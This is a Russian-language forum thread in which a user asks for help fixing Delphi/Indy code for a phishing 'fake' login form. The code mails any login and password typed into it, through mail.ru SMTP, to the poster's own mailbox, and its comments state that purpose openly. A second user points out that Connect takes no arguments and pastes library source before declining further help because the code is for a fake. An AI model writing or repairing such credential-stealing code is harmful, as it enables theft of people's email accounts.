Подскажите где ошибки!

[Iufy*fjvklJw789]

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, IdBaseComponent, IdMessage, IdPOP3, IdComponent, IdTCPConnection,
IdTCPClient, IdExplicitTLSClientServerBase, IdMessageClient, IdSMTPBase,
IdSMTP, StdCtrls;

type
TForm1 = class(TForm)
IdMessage1: TIdMessage;
IdSMTP1: TIdSMTP;
IdPOP31: TIdPOP3;
Edit1: TEdit;
Edit2: TEdit;
Button1: TButton;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
begin
idmessage1.Recipients.emailaddresses:='login@mail. ru'; //Куда придут пароль и логин с фейка
idmessage1.From.Text:='[Ссылки могут видеть только зарегистрированные и активированные пользователи]'; //От кого пишем сюда тот с которого будет отправляться
idmessage1.body.text:='Логин:'+edit1.text+' Пароль:'+edit2.text; //Тело письма
idmessage1.subject:='Фейк'; // Тема письма
idmessage1.ContentType:='text/plain'; //Тип письма- можно неуказывать, но мы в целях безопасности укажим )
idPOP31.username:='[Ссылки могут видеть только зарегистрированные и активированные пользователи]'; //Логин
idPOP31.Password:='xxxxx'; //Пароль
idPOP31.Host:='pop3.mail.ru'; //pop3 на mail.ru(для list.ru, bk.ru и inbox.ru такой же) для другого домена естественно будет другой
idPOP31.Port:=110; //Порт POP3
idPOP31.Connect(6000); //подключаемся с таймаутом на 60сек
idSmtp1.username:='[Ссылки могут видеть только зарегистрированные и активированные пользователи]'; //Логин где mail.ru название домена
idSmtp1.Password:='xxxxxxx'; //Пароль
idsmtp1.Host:='smtp.mail.ru'; //smtp на mail.ru(для list.ru, bk.ru и inbox.ru такой же) для другого домена естественно будет друго
idsmtp1.Port:=25; //Порт smtp
idsmtp1.Connect(60000); //Коннектимся с таймаутом 60 сек
idSmtp1.Send(IdMessage1); //Отправка письма с логином и паролем
idSmtp1.Disconnect; //Отключаемся
idPOP31.Disconnect; //Отключаемся
end;
end.
почиму ошибки-то???

[Тигрь]

[DCC Error] Unit1.pas(44): E2250 There is no overloaded version of 'Connect' that can be called with these arguments

Потому что у коннекта нет аргумента. А вообще когда задаешь такие вопросы нужно говорить какую ошибку выводит, и какая версия делфи.

[Iufy*fjvklJw789]

Потому что у коннекта нет аргумента. А вообще когда задаешь такие вопросы нужно говорить какую ошибку выводит, и какая версия делфи.

2007
можешь помочь исправить, как ему дать аргумент?

[Тигрь]

Он не принимает аргументы вообще:
procedure TIdPOP3.Connect;
var
S: String;
I: Integer;
begin
FHasAPOP := False;
FHasCAPA := False;
FAPOPToken := '';

if (IOHandler is TIdSSLIOHandlerSocketBase) then begin
(IOHandler as TIdSSLIOHandlerSocketBase).PassThrough := (FUseTLS <> utUseImplicitTLS);
end;

inherited Connect;
try
GetResponse(ST_OK);

// the initial greeting text is needed to determine APOP availability
S := LastCmdResult.Text.Strings[0]; //read response
I := Pos('<', S); {Do not Localize}
if i > 0 then begin
S := Copy(S, I, MaxInt); //?: System.Delete(S,1,i-1);
I := Pos('>', S); {Do not Localize}
if I > 0 then begin
FAPOPToken := Copy(S, 1, I);
end;
end;
FHasAPOP := (Length(FAPOPToken) > 0);
CAPA;
if FAutoLogin then begin
Login;
end;
except
Disconnect(False);
raise;
end;
end;

Если бы было для какого то дела то помог бы. А для фейка не стану. И так я тебе дал много подсказок. Придется разбираться тебе самому.